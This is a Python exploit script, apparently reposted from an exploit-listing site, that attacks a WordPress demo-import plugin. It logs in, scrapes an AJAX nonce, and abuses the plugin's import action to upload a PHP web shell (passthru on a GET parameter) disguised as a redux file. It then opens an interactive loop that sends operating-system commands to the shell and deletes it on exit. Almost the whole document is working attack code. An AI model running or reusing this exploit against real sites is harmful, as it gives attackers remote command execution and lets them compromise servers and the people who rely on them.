Share
## https://sploitus.com/exploit?id=WPEX-ID:2239095F-8A66-4A5D-AB49-1662A40FDDF1
# Author : qerogram

import requests, os, hashlib

BASE_URL = "http://localhost:8000"
id = "wordpress"
pw = "wordpress"

def generateFileName() :
    sha1 = hashlib.sha1()
    sha1.update(os.urandom(32))
    return sha1.hexdigest()

def login(id, pw) :
    sess = requests.Session()
    sess.post(
        BASE_URL + "/wp-login.php",
        data = {
            'log': id,
            'pwd': pw,
            'wp-submit': '%EB%A1%9C%EA%B7%B8%EC%9D%B8',
            'testcookie': '1'
        }
    ).text
    
    return sess

def init(sess, wp_nonce) :
    # we need a reset task! 
    # Because, if not installed redux plugin, occurs upload error!
    sess.post(
        BASE_URL + "/wp-admin/admin-ajax.php",
        data = {
            "action" : "ctdi_import_demo_data",
            "content_file" : "undefined",
            "customizer_file" : "undefined",
            "selected" : "undefined",
            "security" : wp_nonce,
        },
        files = {
            "widget_file" : (f"{generateFileName()}.json", "{'11':'22'}"),
        },

        proxies = {"http":"http://localhost:8080"}
    )

    sess.post(
        BASE_URL + "/wp-admin/admin-ajax.php",
        headers = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryUHxlgT04VAl3uVr9"},
        data = f"""------WebKitFormBoundaryUHxlgT04VAl3uVr9
Content-Disposition: form-data; name="action"

ctdi_after_import_data
------WebKitFormBoundaryUHxlgT04VAl3uVr9
Content-Disposition: form-data; name="security"

{wp_nonce}
------WebKitFormBoundaryUHxlgT04VAl3uVr9--""",
    )


def exploit(sess) :
    check = sess.get(
        BASE_URL + '/wp-admin/themes.php?page=catch-themes-demo-import'
    ).text
    nonce = check[check.find('ajax_nonce":') + 13:]
    wp_nonce = nonce[:nonce.find('"')]
    FileName = generateFileName()[:20]

    init(sess, wp_nonce)

    sess.post(
        BASE_URL + "/wp-admin/admin-ajax.php",
        data = {
            "action" : "ctdi_import_demo_data",
            "content_file" : "undefined",
            "customizer_file" : "undefined",
            "selected" : "undefined",
            "security" : wp_nonce
        },
        files = {
            "widget_file" : ("test4.json", "{'11':'22'}"),
            "redux_file" : (f"{FileName}.php", "<?php echo(passthru($_GET['qerogram']));?>"),
        },
    )

    return FileName

def getShell(sess, FileName) :
    import datetime
    n = datetime.datetime.now()

    while True :
        cmd = input("$ ")
        if cmd.lower() == "exit" or cmd.lower() == "quit"  : 
            sess.get(
                BASE_URL + f"/wp-content/uploads/{n.year}/" + ("%02d" % n.month) + f"/{FileName}.php",
                params = {"qerogram" : f"rm {FileName}.php"}
            )
            break

        res = sess.get(
            BASE_URL + f"/wp-content/uploads/{n.year}/" + ("%02d" % n.month) + f"/{FileName}.php",
            params = {"qerogram" : cmd}
        )
        print(res.text)

sess = login(id, pw)
FileName = exploit(sess)
getShell(sess, FileName)